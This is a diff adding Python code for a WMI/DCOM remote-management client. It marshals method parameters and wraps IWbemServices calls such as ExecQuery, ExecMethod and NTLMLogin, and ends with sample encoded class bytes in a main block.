+        for property in properties:
+            # Do we have an object property?
+            if properties[property]['type'] == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value:
+                # Yes.. let's create an Object for it too
+                objRef = OBJREF_CUSTOM()
+                objRef['iid'] = self._iid
+                objRef['clsid'] = CLSID_WbemClassObject
+                objRef['cbExtension'] = 0
+                objRef['ObjectReferenceSize'] = len(properties[property]['value'].getData())
+                objRef['pObjectData'] = properties[property]['value']
+                value = IWbemClassObject( INTERFACE(self.get_cinstance(), objRef.getData(), self.get_ipidRemUnknown(),
+                      oxid=self.get_oxid(), target=self.get_target()))
+            elif properties[property]['type'] == CIM_TYPE_ENUM.CIM_ARRAY_OBJECT.value:
+                if isinstance(properties[property]['value'], list):
+                    value = list()
+                    for item in properties[property]['value']:
+                        # Yes.. let's create an Object for it too
+                        objRef = OBJREF_CUSTOM()
+                        objRef['iid'] = self._iid
+                        objRef['clsid'] = CLSID_WbemClassObject
+                        objRef['cbExtension'] = 0
+                        objRef['ObjectReferenceSize'] = len(item.getData())
+                        objRef['pObjectData'] = item
+                        wbemClass = IWbemClassObject(
+                            INTERFACE(self.get_cinstance(), objRef.getData(), self.get_ipidRemUnknown(),
+                                      oxid=self.get_oxid(), target=self.get_target()))
+                        value.append(wbemClass)
+                else:
+                    value = properties[property]['value']
+            else:
+                value = properties[property]['value']
+            setattr(self, property, value)
+
+    def createMethods(self, classOrInstance, methods):
+        class FunctionPool:
+            def __init__(self,function):
+                self.function = function
+            def __getitem__(self,item):
+                return partial(self.function,item)
+
+        @FunctionPool
+        def innerMethod(staticArgs, *args):
+            classOrInstance = staticArgs[0] 
+            methodDefinition = staticArgs[1] 
+            if methodDefinition['InParams'] is not None:
+                if len(args) != len(methodDefinition['InParams']):
+                    LOG.error("Function called with %d parameters instead of %d!" % (len(args), len(methodDefinition['InParams'])))
+                    return None
+                # In Params
+                encodingUnit = ENCODING_UNIT()
+
+                inParams = OBJECT_BLOCK()
+                inParams.structure += OBJECT_BLOCK.instanceType
+                inParams['ObjectFlags'] = 2
+                inParams['Decoration'] = b''
+
+                instanceType = INSTANCE_TYPE()
+                instanceType['CurrentClass'] = b''
+                instanceType['InstanceQualifierSet'] = b'\x04\x00\x00\x00\x01'
+
+                # Let's create the heap for the parameters
+                instanceHeap = b''
+                valueTable = b''
+                parametersClass = ENCODED_STRING()
+                parametersClass['Character'] = '__PARAMETERS'
+                instanceHeap += parametersClass.getData()
+                curHeapPtr = len(instanceHeap)
+
+                ndTable = 0
+                for i in range(len(args)):
+                    paramDefinition = list(methodDefinition['InParams'].values())[i]
+                    inArg = args[i]
+
+                    pType = paramDefinition['type'] & (~(CIM_ARRAY_FLAG|Inherited)) 
+                    if paramDefinition['type'] & CIM_ARRAY_FLAG:
+                        # Not yet ready
+                        #print paramDefinition
+                        #raise
+                        packStr = HEAPREF[:-2]
+                    else:
+                        packStr = CIM_TYPES_REF[pType][:-2]
+
+                    if paramDefinition['type'] & CIM_ARRAY_FLAG:
+                        if inArg is None:
+                            valueTable += pack(packStr, 0)
+                        elif pType in (CIM_TYPE_ENUM.CIM_TYPE_STRING.value, CIM_TYPE_ENUM.CIM_TYPE_DATETIME.value,
+                                       CIM_TYPE_ENUM.CIM_TYPE_REFERENCE.value, CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value):
+                            arraySize = pack(HEAPREF[:-2], len(inArg))
+                            arrayItems = []
+                            for j in range(len(inArg)):
+                                curVal = inArg[j]
+                                if pType == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value:
+                                    curObject = b''
+                                    marshaledObject = curVal.marshalMe()
+                                    curObject += pack('<L', marshaledObject['pObjectData']['ObjectEncodingLength'])
+                                    curObject += marshaledObject['pObjectData']['ObjectBlock'].getData()
+                                    arrayItems.append(curObject)
+                                    continue
+                                strIn = ENCODED_STRING()
+                                if type(curVal) is str:
+                                    # The Encoded-String-Flag is set to 0x01 if the sequence of characters that follows
+                                    # consists of UTF-16 characters (as specified in [UNICODE]) followed by a UTF-16 null
+                                    # terminator.
+                                    strIn['Encoded_String_Flag'] = 0x1
+                                    strIn.structure = strIn.tunicode
+                                    strIn['Character'] = curVal.encode('utf-16le')
+                                else:
+                                    strIn['Character'] = curVal
+                                arrayItems.append(strIn.getData())
+
+
+                            curStrHeapPtr = curHeapPtr + 4
+                            arrayHeapPtrValues = b''
+                            arrayValueTable = b''
+                            for j in range(len(arrayItems)):
+                                arrayHeapPtrValues += pack('<L', curStrHeapPtr + 4 * (len(arrayItems) - j) + len(arrayValueTable))
+                                arrayValueTable += arrayItems[j]
+                                curStrHeapPtr += 4
+
+                            valueTable += pack('<L', curHeapPtr)
+                            instanceHeap += arraySize + arrayHeapPtrValues + arrayValueTable
+                            curHeapPtr = len(instanceHeap)
+                        else:
+                            arraySize = pack(HEAPREF[:-2], len(inArg))
+                            valueTable += pack('<L', curHeapPtr)
+                            instanceHeap += arraySize
+                            for curVal in inArg:
+                                instanceHeap += pack(packStr, curVal)
+                            curHeapPtr = len(instanceHeap)
+                    elif pType not in (CIM_TYPE_ENUM.CIM_TYPE_STRING.value, CIM_TYPE_ENUM.CIM_TYPE_DATETIME.value,
+                                       CIM_TYPE_ENUM.CIM_TYPE_REFERENCE.value, CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value):
+                        valueTable += pack(packStr, inArg)
+                    elif pType == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value:
+                        if inArg is None:
+                            # For now we just pack None and set the inherited_default
+                            # flag, just in case a parent class defines this for us
+                            valueTable += b'\x00' * 4
+                            ndTable |= self.__ndEntry(i, True, True)
+                        else:
+                            valueTable += pack('<L', curHeapPtr)
+                            marshaledObject = inArg.marshalMe()
+                            instanceHeap += pack('<L', marshaledObject['pObjectData']['ObjectEncodingLength'])
+                            instanceHeap += marshaledObject['pObjectData']['ObjectBlock'].getData()
+                            curHeapPtr = len(instanceHeap)
+                    else:
+                        strIn = ENCODED_STRING()
+                        if type(inArg) is str:
+                            # The Encoded-String-Flag is set to 0x01 if the sequence of characters that follows
+                            # consists of UTF-16 characters (as specified in [UNICODE]) followed by a UTF-16 null
+                            # terminator.
+                            strIn['Encoded_String_Flag'] = 0x1
+                            strIn.structure = strIn.tunicode
+                            strIn['Character'] = inArg.encode('utf-16le')
+                        else:
+                            strIn['Character'] = inArg
+                        valueTable += pack('<L', curHeapPtr)
+                        instanceHeap += strIn.getData()
+                        curHeapPtr = len(instanceHeap)
+
+                ndTableLen = (len(args) - 1) // 4 + 1
+
+                packedNdTable = b''
+                for i in range(ndTableLen):
+                    packedNdTable += pack('B', ndTable & 0xff)
+                    ndTable >>=  8
+
+                instanceType['NdTable_ValueTable'] = packedNdTable + valueTable
+                heapRecord = HEAP()
+                heapRecord['HeapLength'] = len(instanceHeap) | 0x80000000
+                heapRecord['HeapItem'] = instanceHeap
+                
+                instanceType['InstanceHeap'] = heapRecord
+
+                instanceType['EncodingLength'] = len(instanceType)
+                inMethods = methodDefinition['InParamsRaw']['ClassType']['CurrentClass']['ClassPart']
+                inMethods['ClassHeader']['EncodingLength'] = len(
+                    methodDefinition['InParamsRaw']['ClassType']['CurrentClass']['ClassPart'].getData())
+                instanceType['CurrentClass'] = inMethods
+
+                inParams['InstanceType'] = instanceType.getData()
+
+                encodingUnit['ObjectBlock'] = inParams
+                encodingUnit['ObjectEncodingLength'] = len(inParams)
+
+                objRefCustomIn = OBJREF_CUSTOM()
+                objRefCustomIn['iid'] = self._iid
+                objRefCustomIn['clsid'] = CLSID_WbemClassObject
+                objRefCustomIn['cbExtension'] = 0
+                objRefCustomIn['ObjectReferenceSize'] = len(encodingUnit)
+                objRefCustomIn['pObjectData'] = encodingUnit
+            else:
+                objRefCustomIn = NULL
+
+            ### OutParams
+            encodingUnit = ENCODING_UNIT()
+
+            outParams = OBJECT_BLOCK()
+            outParams.structure += OBJECT_BLOCK.instanceType
+            outParams['ObjectFlags'] = 2
+            outParams['Decoration'] = b''
+
+            instanceType = INSTANCE_TYPE()
+            instanceType['CurrentClass'] = b''
+            instanceType['NdTable_ValueTable'] = b''
+            instanceType['InstanceQualifierSet'] = b''
+            instanceType['InstanceHeap'] = b''
+            instanceType['EncodingLength'] = len(instanceType)
+            instanceType['CurrentClass'] = methodDefinition['OutParamsRaw']['ClassType']['CurrentClass']['ClassPart'].getData()
+            outParams['InstanceType'] = instanceType.getData()
+
+
+            encodingUnit['ObjectBlock'] = outParams
+            encodingUnit['ObjectEncodingLength'] = len(outParams)
+
+            objRefCustom = OBJREF_CUSTOM()
+            objRefCustom['iid'] = self._iid
+            objRefCustom['clsid'] = CLSID_WbemClassObject
+            objRefCustom['cbExtension'] = 0
+            objRefCustom['ObjectReferenceSize'] = len(encodingUnit)
+            objRefCustom['pObjectData'] = encodingUnit
+            try:
+                return self.__iWbemServices.ExecMethod(classOrInstance, methodDefinition['name'], pInParams = objRefCustomIn )
+                #return self.__iWbemServices.ExecMethod('Win32_Process.Handle="436"', methodDefinition['name'],
+                #                                       pInParams=objRefCustomIn).getObject().ctCurrent['properties']
+            except Exception as e:
+                if LOG.level == logging.DEBUG:
+                    import traceback
+                    traceback.print_exc()
+                LOG.error(str(e))
+
+        for methodName in methods:
+           innerMethod.__name__ = methodName
+           setattr(self,innerMethod.__name__,innerMethod[classOrInstance,methods[methodName]])
+        #methods = self.encodingUnit['ObjectBlock']
+ 
+
+class IWbemLoginClientID(IRemUnknown):
+    def __init__(self, interface):
+        IRemUnknown.__init__(self,interface)
+        self._iid = IID_IWbemLoginClientID
+
+    def SetClientInfo(self, wszClientMachine, lClientProcId = 1234):
+        request = IWbemLoginClientID_SetClientInfo()
+        request['wszClientMachine'] = checkNullString(wszClientMachine)
+        request['lClientProcId'] = lClientProcId
+        request['lReserved'] = 0
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return resp
+
+class IWbemLoginHelper(IRemUnknown):
+    def __init__(self, interface):
+        IRemUnknown.__init__(self,interface)
+        self._iid = IID_IWbemLoginHelper
+
+    def SetEvent(self, sEventToSet):
+        request = IWbemLoginHelper_SetEvent()
+        request['sEventToSet'] = sEventToSet
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+
+class IWbemWCOSmartEnum(IRemUnknown):
+    def __init__(self, interface):
+        IRemUnknown.__init__(self,interface)
+        self._iid = IID_IWbemWCOSmartEnum
+
+    def Next(self, proxyGUID, lTimeout, uCount):
+        request = IWbemWCOSmartEnum_Next()
+        request['proxyGUID'] = proxyGUID
+        request['lTimeout'] = lTimeout
+        request['uCount'] = uCount
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+class IWbemFetchSmartEnum(IRemUnknown):
+    def __init__(self, interface):
+        IRemUnknown.__init__(self,interface)
+        self._iid = IID_IWbemFetchSmartEnum
+
+    def GetSmartEnum(self, lTimeout):
+        request = IWbemFetchSmartEnum_GetSmartEnum()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+class IWbemCallResult(IRemUnknown):
+    def __init__(self, interface):
+        IRemUnknown.__init__(self,interface)
+        self._iid = IID_IWbemCallResult
+
+    def GetResultObject(self, lTimeout):
+        request = IWbemCallResult_GetResultObject()
+        request['lTimeout'] = lTimeout
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def GetResultString(self, lTimeout):
+        request = IWbemCallResult_GetResultString()
+        request['lTimeout'] = lTimeout
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def GetResultServices(self, lTimeout):
+        request = IWbemCallResult_GetResultServices()
+        request['lTimeout'] = lTimeout
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def GetCallStatus(self, lTimeout):
+        request = IWbemCallResult_GetCallStatus()
+        request['lTimeout'] = lTimeout
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return resp['plStatus']
+
+class IEnumWbemClassObject(IRemUnknown):
+    def __init__(self, interface, iWbemServices = None):
+        IRemUnknown.__init__(self,interface)
+        self._iid = IID_IEnumWbemClassObject
+        self.__iWbemServices = iWbemServices
+
+    def Reset(self):
+        request = IEnumWbemClassObject_Reset()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def Next(self, lTimeout, uCount):
+        request = IEnumWbemClassObject_Next()
+        request['lTimeout'] = lTimeout
+        request['uCount'] = uCount
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        interfaces = list()
+        for interface in resp['apObjects']:
+            interfaces.append(IWbemClassObject(
+                INTERFACE(self.get_cinstance(), b''.join(interface['abData']), self.get_ipidRemUnknown(),
+                          oxid=self.get_oxid(), target=self.get_target()), self.__iWbemServices))
+
+        return interfaces
+
+    def NextAsync(self, lTimeout, pSink):
+        request = IEnumWbemClassObject_NextAsync()
+        request['lTimeout'] = lTimeout
+        request['pSink'] = pSink
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def Clone(self):
+        request = IEnumWbemClassObject_Clone()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def Skip(self, lTimeout, uCount):
+        request = IEnumWbemClassObject_Skip()
+        request['lTimeout'] = lTimeout
+        request['uCount'] = uCount
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+class IWbemServices(IRemUnknown):
+    def __init__(self, interface):
+        IRemUnknown.__init__(self,interface)
+        self._iid = IID_IWbemServices
+
+    def OpenNamespace(self, strNamespace, lFlags=0, pCtx = NULL):
+        request = IWbemServices_OpenNamespace()
+        request['strNamespace']['asData'] = strNamespace
+        request['lFlags'] = lFlags
+        request['pCtx'] = pCtx
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def CancelAsyncCall(self,IWbemObjectSink ):
+        request = IWbemServices_CancelAsyncCall()
+        request['IWbemObjectSink'] = IWbemObjectSink
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return resp['ErrorCode']
+
+    def QueryObjectSink(self):
+        request = IWbemServices_QueryObjectSink()
+        request['lFlags'] = 0
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return INTERFACE(self.get_cinstance(), b''.join(resp['ppResponseHandler']['abData']), self.get_ipidRemUnknown(),
+                         target=self.get_target())
+
+    def GetObject(self, strObjectPath, lFlags=0, pCtx=NULL):
+        request = IWbemServices_GetObject()
+        request['strObjectPath']['asData'] = strObjectPath
+        request['lFlags'] = lFlags
+        request['pCtx'] = pCtx
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        ppObject = IWbemClassObject(
+            INTERFACE(self.get_cinstance(), b''.join(resp['ppObject']['abData']), self.get_ipidRemUnknown(),
+                      oxid=self.get_oxid(), target=self.get_target()), self)
+        if resp['ppCallResult'] != NULL:
+            ppcallResult = IWbemCallResult(
+                INTERFACE(self.get_cinstance(), b''.join(resp['ppObject']['abData']), self.get_ipidRemUnknown(),
+                          target=self.get_target()))
+        else:
+            ppcallResult = NULL
+        return ppObject, ppcallResult
+
+    def GetObjectAsync(self, strNamespace, lFlags=0, pCtx = NULL):
+        request = IWbemServices_GetObjectAsync()
+        request['strObjectPath']['asData'] = checkNullString(strNamespace)
+        request['lFlags'] = lFlags
+        request['pCtx'] = pCtx
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def PutClass(self, pObject, lFlags=0, pCtx=NULL):
+        request = IWbemServices_PutClass()
+        request['pObject'] = pObject
+        request['lFlags'] = lFlags
+        request['pCtx'] = pCtx
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def PutClassAsync(self, pObject, lFlags=0, pCtx=NULL):
+        request = IWbemServices_PutClassAsync()
+        request['pObject'] = pObject
+        request['lFlags'] = lFlags
+        request['pCtx'] = pCtx
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def DeleteClass(self, strClass, lFlags=0, pCtx=NULL):
+        request = IWbemServices_DeleteClass()
+        request['strClass']['asData'] = checkNullString(strClass)
+        request['lFlags'] = lFlags
+        request['pCtx'] = pCtx
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def DeleteClassAsync(self, strClass, lFlags=0, pCtx=NULL):
+        request = IWbemServices_DeleteClassAsync()
+        request['strClass']['asData'] = checkNullString(strClass)
+        request['lFlags'] = lFlags
+        request['pCtx'] = pCtx
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def CreateClassEnum(self, strSuperClass, lFlags=0, pCtx=NULL):
+        request = IWbemServices_CreateClassEnum()
+        request['strSuperClass']['asData'] = checkNullString(strSuperClass)
+        request['lFlags'] = lFlags
+        request['pCtx'] = pCtx
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def CreateClassEnumAsync(self, strSuperClass, lFlags=0, pCtx=NULL):
+        request = IWbemServices_CreateClassEnumAsync()
+        request['strSuperClass']['asData'] = checkNullString(strSuperClass)
+        request['lFlags'] = lFlags
+        request['pCtx'] = pCtx
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def PutInstance(self, pInst, lFlags=0, pCtx=NULL):
+        request = IWbemServices_PutInstance()
+
+        if pInst is NULL:
+            request['pInst'] = pInst
+        else:
+            request['pInst']['ulCntData'] = len(pInst)
+            request['pInst']['abData'] = list(pInst.getData())
+        request['lFlags'] = lFlags
+        request['pCtx'] = pCtx
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return IWbemCallResult(
+            INTERFACE(self.get_cinstance(), b''.join(resp['ppCallResult']['abData']), self.get_ipidRemUnknown(),
+                      target=self.get_target()))
+
+    def PutInstanceAsync(self, pInst, lFlags=0, pCtx=NULL):
+        request = IWbemServices_PutInstanceAsync()
+        request['pInst'] = pInst
+        request['lFlags'] = lFlags
+        request['pCtx'] = pCtx
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def DeleteInstance(self, strObjectPath, lFlags=0, pCtx=NULL):
+        request = IWbemServices_DeleteInstance()
+        request['strObjectPath']['asData'] = checkNullString(strObjectPath)
+        request['lFlags'] = lFlags
+        request['pCtx'] = pCtx
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return IWbemCallResult(
+            INTERFACE(self.get_cinstance(), b''.join(resp['ppCallResult']['abData']), self.get_ipidRemUnknown(),
+                      target=self.get_target()))
+
+    def DeleteInstanceAsync(self, strObjectPath, lFlags=0, pCtx=NULL):
+        request = IWbemServices_DeleteInstanceAsync()
+        request['strObjectPath']['asData'] = checkNullString(strObjectPath)
+        request['lFlags'] = lFlags
+        request['pCtx'] = pCtx
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def CreateInstanceEnum(self, strSuperClass, lFlags=0, pCtx=NULL):
+        request = IWbemServices_CreateInstanceEnum()
+        request['strSuperClass']['asData'] = strSuperClass
+        request['lFlags'] = lFlags
+        request['pCtx'] = pCtx
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return IEnumWbemClassObject(
+            INTERFACE(self.get_cinstance(), b''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(),
+                      target=self.get_target()))
+
+    def CreateInstanceEnumAsync(self, strSuperClass, lFlags=0, pCtx=NULL):
+        request = IWbemServices_CreateInstanceEnumAsync()
+        request['strSuperClass']['asData'] = checkNullString(strSuperClass)
+        request['lFlags'] = lFlags
+        request['pCtx'] = pCtx
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    #def ExecQuery(self, strQuery, lFlags=WBEM_QUERY_FLAG_TYPE.WBEM_FLAG_PROTOTYPE, pCtx=NULL):
+    def ExecQuery(self, strQuery, lFlags=0, pCtx=NULL):
+        request = IWbemServices_ExecQuery()
+        request['strQueryLanguage']['asData'] = checkNullString('WQL')
+        request['strQuery']['asData'] = checkNullString(strQuery)
+        request['lFlags'] = lFlags
+        request['pCtx'] = pCtx
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return IEnumWbemClassObject(
+            INTERFACE(self.get_cinstance(), b''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(),
+                      target=self.get_target()), self)
+
+    def ExecQueryAsync(self, strQuery, lFlags=0, pCtx=NULL):
+        request = IWbemServices_ExecQueryAsync()
+        request['strQueryLanguage']['asData'] = checkNullString('WQL')
+        request['strQuery']['asData'] = checkNullString(strQuery)
+        request['lFlags'] = lFlags
+        request['pCtx'] = pCtx
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def ExecNotificationQuery(self, strQuery, lFlags=0, pCtx=NULL):
+        request = IWbemServices_ExecNotificationQuery()
+        request['strQueryLanguage']['asData'] = checkNullString('WQL')
+        request['strQuery']['asData'] = checkNullString(strQuery)
+        request['lFlags'] = lFlags
+        request['pCtx'] = pCtx
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return IEnumWbemClassObject(
+            INTERFACE(self.get_cinstance(), b''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(),
+                      target=self.get_target()), self)
+
+    def ExecNotificationQueryAsync(self, strQuery, lFlags=0, pCtx=NULL):
+        request = IWbemServices_ExecNotificationQueryAsync()
+        request['strQueryLanguage']['asData'] = checkNullString('WQL')
+        request['strQuery']['asData'] = checkNullString(strQuery)
+        request['lFlags'] = lFlags
+        request['pCtx'] = pCtx
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def ExecMethod(self, strObjectPath, strMethodName, lFlags=0, pCtx=NULL, pInParams=NULL, ppOutParams = NULL):
+        request = IWbemServices_ExecMethod()
+        request['strObjectPath']['asData'] = checkNullString(strObjectPath)
+        request['strMethodName']['asData'] = checkNullString(strMethodName)
+        request['lFlags'] = lFlags
+        request['pCtx'] = pCtx
+        if pInParams is NULL:
+            request['pInParams'] = pInParams
+        else:
+            request['pInParams']['ulCntData'] = len(pInParams)
+            request['pInParams']['abData'] = list(pInParams.getData())
+
+        request.fields['ppCallResult'] = NULL
+        if ppOutParams is NULL:
+            request.fields['ppOutParams'].fields['Data'] = NULL
+        else:
+            request['ppOutParams']['ulCntData'] = len(ppOutParams.getData())
+            request['ppOutParams']['abData'] = list(ppOutParams.getData())
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return IWbemClassObject(
+            INTERFACE(self.get_cinstance(), b''.join(resp['ppOutParams']['abData']), self.get_ipidRemUnknown(),
+                      oxid=self.get_oxid(), target=self.get_target()))
+
+    def ExecMethodAsync(self, strObjectPath, strMethodName, lFlags=0, pCtx=NULL, pInParams=NULL):
+        request = IWbemServices_ExecMethodAsync()
+        request['strObjectPath']['asData'] = checkNullString(strObjectPath)
+        request['strMethodName']['asData'] = checkNullString(strMethodName)
+        request['lFlags'] = lFlags
+        request['pCtx'] = pCtx
+        request['pInParams'] = pInParams
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+class IWbemLevel1Login(IRemUnknown):
+    def __init__(self, interface):
+        IRemUnknown.__init__(self,interface)
+        self._iid = IID_IWbemLevel1Login
+
+    def EstablishPosition(self):
+        request = IWbemLevel1Login_EstablishPosition()
+        request['reserved1'] = NULL
+        request['reserved2'] = 0
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return resp['LocaleVersion']
+
+    def RequestChallenge(self):
+        request = IWbemLevel1Login_RequestChallenge()
+        request['reserved1'] = NULL
+        request['reserved2'] = NULL
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return resp['reserved3']
+
+    def WBEMLogin(self):
+        request = IWbemLevel1Login_WBEMLogin()
+        request['reserved1'] = NULL
+        request['reserved2'] = NULL
+        request['reserved3'] = 0
+        request['reserved4'] = NULL
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return resp['reserved5']
+
+    def NTLMLogin(self, wszNetworkResource, wszPreferredLocale, pCtx):
+        request = IWbemLevel1Login_NTLMLogin()
+        request['wszNetworkResource'] = checkNullString(wszNetworkResource)
+        request['wszPreferredLocale'] = checkNullString(wszPreferredLocale)
+        request['lFlags'] = 0
+        request['pCtx'] = pCtx
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return IWbemServices(
+            INTERFACE(self.get_cinstance(), b''.join(resp['ppNamespace']['abData']), self.get_ipidRemUnknown(),
+                      target=self.get_target()))
+
+
+if __name__ == '__main__':
+    # Example 1
+    baseClass = b'xV4\x12\xd0\x00\x00\x00\x05\x00DPRAVAT-DEV\x00\x00ROOT\x00\x1d\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80f\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\n\x00\x00\x00\x05\xff\xff\xff\xff<\x00\x00\x80\x00Base\x00\x00Id\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x004\x00\x00\x00\x01\x00\x00\x80\x13\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x0c\x00\x00\x00\x00\x004\x00\x00\x00\x00\x80\x00\x80\x13\x0b\x00\x00\x00\xff\xff\x00sint32\x00'
+
+    #encodingUnit = ENCODING_UNIT(baseClass)
+    #encodingUnit.dump()
+    #encodingUnit['ObjectBlock'].printInformation()
+    #print "LEN ", len(baseClass), len(encodingUnit)
+
+    #myClass = b"xV4\x12.\x02\x00\x00\x05\x00DPRAVAT-DEV\x00\x00ROOT\x00f\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\n\x00\x00\x00\x05\xff\xff\xff\xff<\x00\x00\x80\x00Base\x00\x00Id\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x004\x00\x00\x00\x01\x00\x00\x80\x13\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x0c\x00\x00\x00\x00\x004\x00\x00\x00\x00\x80v\x01\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x0e\x00\x00\x00\x00Base\x00\x06\x00\x00\x00\x11\x00\x00\x00\t\x00\x00\x00\x00\x08\x00\x00\x00\x16\x00\x00\x00\x04\x00\x00\x00'\x00\x00\x00.\x00\x00\x00U\x00\x00\x00\\\x00\x00\x00\x99\x00\x00\x00\xa0\x00\x00\x00\xc7\x00\x00\x00\xcb\x00\x00\x00G\xff\xff\xff\xff\xff\xff\xff\xff\xfd\x00\x00\x00\xff\xff\xff\xff\x11\x01\x00\x80\x00MyClass\x00\x00Description\x00\x00MyClass Example\x00\x00Array\x00\x13 \x00\x00\x03\x00\x0c\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00M\x00\x00\x00\x00uint32\x00\x00Data1\x00\x08\x00\x00\x00\x01\x00\x04\x00\x00\x00\x01\x00\x00\x00'\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\x91\x00\x00\x00\x03\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x04\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x00string\x00\x00Data2\x00\x08\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\xbf\x00\x00\x00\x00string\x00\x00Id\x00\x03@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80#\x08\x00\x00\x00\xf5\x00\x00\x00\x01\x00\x00\x803\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x00defaultValue\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00s\x00\x00\x00\x802\x00\x00defaultValue\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00"
+    #hexdump(myClass)
+    #encodingUnit = ENCODING_UNIT(myClass)
+    #print "LEN ", len(myClass), len(encodingUnit)
+    #encodingUnit.dump()
+    #encodingUnit['ObjectBlock'].printInformation()
+
